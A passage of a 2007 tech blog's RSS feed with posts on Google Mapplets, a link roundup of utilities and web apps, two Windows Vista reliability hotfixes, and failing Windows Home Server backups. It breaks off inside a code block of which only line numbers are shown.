      <pubDate>Sat, 25 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/google-mapplets/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.google.com/apis/maps/documentation/mapplets/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Google Mapplets
	&lt;/span&gt;
&lt;/a&gt; are &amp;ldquo;mini applications&amp;rdquo; you write which can be embedded within Google Maps. Google has a &lt;a
	
		href = &#34;http://maps.google.com/preview&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		special &amp;ldquo;preview&amp;rdquo; version
	&lt;/span&gt;
&lt;/a&gt; of the maps where you can test this out. To help you write mapplets (e.g. a &lt;a
	
		href = &#34;http://www.google.com/apis/maps/documentation/weather_map.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		random weather map
	&lt;/span&gt;
&lt;/a&gt;) google also has the &lt;a
	
		href = &#34;http://code.google.com/gme/tour/tour1.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mashup Editor
	&lt;/span&gt;
&lt;/a&gt; (&lt;a
	
		href = &#34;http://www.readwriteweb.com/archives/google_mashup_editor.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		reviewed by Lachlan
	&lt;/span&gt;
&lt;/a&gt;) which is similar to &lt;a
	
		href = &#34;http://pipes.yahoo.com/pipes/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Yahoo Pipes
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4510&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #6</title>
      <link>/post/2007/08/interesting-find-6/</link>
      <pubDate>Sat, 25 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/interesting-find-6/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;Find editing host files a pain? Then check out &lt;a
	
		href = &#34;http://www.abelhadigital.com/2007/06/hostsman-3040-released.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HostsMan (v 3.0.45 is just released)
	&lt;/span&gt;
&lt;/a&gt; which allows you to automatically update, enable/disable, backup, exclusion, etc. host files.&lt;/li&gt;
&lt;li&gt;Some &lt;a
	
		href = &#34;http://jonahprobell.com/funprogs.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		old fun programs
	&lt;/span&gt;
&lt;/a&gt; that we all enjoyed in our time.&lt;/li&gt;
&lt;li&gt;Fujitsu &lt;a
	
		href = &#34;http://www.fujitsu.com/us/news/pr/fcpa_20070810-02.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		announces 1 TB 2.5&amp;quot; HDD&amp;rsquo;s
	&lt;/span&gt;
&lt;/a&gt; (i.e. for notebooks) - though it might be a little while before they hit the stores and a little longer after that before they are affordable I would guess.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://news.bbc.co.uk/1/hi/technology/6940309.stm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Best in Emerging Technology
	&lt;/span&gt;
&lt;/a&gt; - very cool!&lt;/li&gt;
&lt;li&gt;Did you know there was a &lt;a
	
		href = &#34;http://www.flixxy.com/hard-drive-shredder.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hard drive shredder
	&lt;/span&gt;
&lt;/a&gt; out there, wanna &lt;a
	
		href = &#34;http://news.thomasnet.com/fullstory/468509&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		buy one
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;Collaboration between people in teams is a &amp;ldquo;hot&amp;rdquo; topic these days and to try and solve it there are many solutions out there - one of those being &lt;a
	
		href = &#34;http://www.huddle.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		huddle
	&lt;/span&gt;
&lt;/a&gt; (which I have not used).&lt;/li&gt;
&lt;li&gt;But the one that I have used and is quite good is &lt;a
	
		href = &#34;http://www.zoho.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Zoho
	&lt;/span&gt;
&lt;/a&gt;, and does seem quite promising. I have specifically used the &lt;a
	
		href = &#34;http://notebook.zoho.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Notebook
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://planner.zoho.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Planner
	&lt;/span&gt;
&lt;/a&gt;. The planner is interesting as well as you can email your page and it will store those emails as content.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.tafiti.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Tafiti
	&lt;/span&gt;
&lt;/a&gt; (which means &amp;ldquo;to research&amp;rdquo; in Swahili) is a very cool search experience and essentially showcases Silverlight with Live search behind it - now if only we could switch the search provider to google it would be even sweeter. 😄&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/fsutil.mspx?mfr=true&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		fsutil
	&lt;/span&gt;
&lt;/a&gt; - this is new to me although around for a while. It is a command line utility which can perform many FAT and NTFS related tasks such as managing reparse points, managing sparse files, dismounting a volume, or extending a volume, etc.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Vista Performance, Reliability and Stability Hot Fixes</title>
      <link>/post/2007/08/vista-performance-reliability-and-stability-hot-fixes/</link>
      <pubDate>Sat, 25 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/vista-performance-reliability-and-stability-hot-fixes/</guid>
      <description>&lt;p&gt;Microsoft has released a couple of hotfixes based on the feedback it has got from various people using the &amp;ldquo;Error Reporting Service&amp;rdquo; and sending in dumps. As far as I am aware, as of now these are not pushed via Windows update.&lt;/p&gt;
&lt;p&gt;The first one is supposed to &lt;a
	
		href = &#34;http://support.microsoft.com/?kbid=938194&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		improve compatibility and reliability
	&lt;/span&gt;
&lt;/a&gt; of Vista; here are the things it resolves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The screen may go blank when you try to upgrade the video driver.&lt;/li&gt;
&lt;li&gt;The computer stops responding, and you receive a &amp;ldquo;Display driver stopped responding and has recovered&amp;rdquo; error message. You can restart the computer only by pressing the computer&amp;rsquo;s power button.&lt;/li&gt;
&lt;li&gt;The computer stops responding or restarts unexpectedly when you play video games or perform desktop operations.&lt;/li&gt;
&lt;li&gt;The Diagnostic Policy Service (DPS) stops responding when the computer is under heavy load or when very little memory is available. This problem prevents diagnostics from working.&lt;/li&gt;
&lt;li&gt;The screen goes blank after an external display device that is connected to the computer is turned off. For example, this problem may occur when a projector is turned off during a presentation.&lt;/li&gt;
&lt;li&gt;There are stability issues with some graphics processing units (GPUs). These issues could cause GPUs to stop responding (hang).&lt;/li&gt;
&lt;li&gt;Visual appearance issues occur when you play graphics-intensive games.&lt;/li&gt;
&lt;li&gt;You experience poor playback quality when you play HD DVD disks or Blu-ray disks on a large monitor.&lt;/li&gt;
&lt;li&gt;Applications that load the Netcfgx.dll component exit unexpectedly.&lt;/li&gt;
&lt;li&gt;Windows Calendar exits unexpectedly after you create a new appointment, create a new task, and then restart the computer.&lt;/li&gt;
&lt;li&gt;Internet Connection Sharing stops responding after you upgrade a computer that is running Microsoft Windows XP to Windows Vista and then restart the computer.&lt;/li&gt;
&lt;li&gt;The Printer Spooler service stops unexpectedly.&lt;/li&gt;
&lt;li&gt;You receive a &lt;code&gt;&amp;quot;Stop 0x0000009F&amp;quot;&lt;/code&gt; error when you put the computer to sleep while a Point-to-Point Protocol (PPP) connection is active.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The second one improves &lt;a
	
		href = &#34;http://support.microsoft.com/?kbid=938979&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		performance and reliability
	&lt;/span&gt;
&lt;/a&gt; and resolved the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You experience a long delay when you try to exit the Photos screen saver.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A memory leak occurs when you use the Windows Energy screen saver.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If User Account Control is disabled on the computer, you cannot install a network printer successfully. This problem occurs if the network printer is hosted by a Windows XP-based or a Windows Server 2003-based computer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you write data to an AVI file by using the AVIStreamWrite function, the file header of the AVI file is corrupted.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you copy or move a large file, the &amp;ldquo;estimated time remaining&amp;rdquo; takes a long time to be calculated and displayed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After you resume the computer from hibernation, it takes a long time to display the logon screen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you synchronize an offline file to a server, the offline file is corrupted.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you edit an image file that uses the RAW image format, data loss occurs in the image file. This problem occurs if the RAW image is from any of the following digital SLR camera models:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Canon EOS 1D&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Canon EOS 1DS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After you resume the computer from hibernation, the computer loses its default gateway address.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Poor memory management performance occurs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I have applied both these patches on one my laptops (running Vista x32) and other than the hibernation fixes I have not seen any noticeable difference; nevertheless I would still recommend you install it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Performance and Reliability Patches:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyId=3FB80BB9-D832-425B-B42C-D3EB2071BBEC&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vista x32
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyId=24EAD3A0-77F6-4196-8A3F-78C1470AC18E&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		x64 bits
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compatibility and Reliability Patches:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyId=AE2F819D-C33D-48DB-A7E3-62EEF7C1F7C2&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vista x32
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyId=5B7F1544-FEF3-4C80-AF1A-8B732DCB2756&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		x64 bits
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>WHS Backup Blues</title>
      <link>/post/2007/08/whs-backup-blues/</link>
      <pubDate>Sat, 25 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/whs-backup-blues/</guid>
      <description>&lt;p&gt;I have not been very happy with WHS lately - and the backups have been failing as you can see in the two screen shots below. 🤭&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/WHSBackupBlues_AD15/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/WHSBackupBlues_AD15/image_3.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_3.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Looking at the event log there have been many errors. I have not had the time to research these and see what is wrong. Here is a sampling on what is going on:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
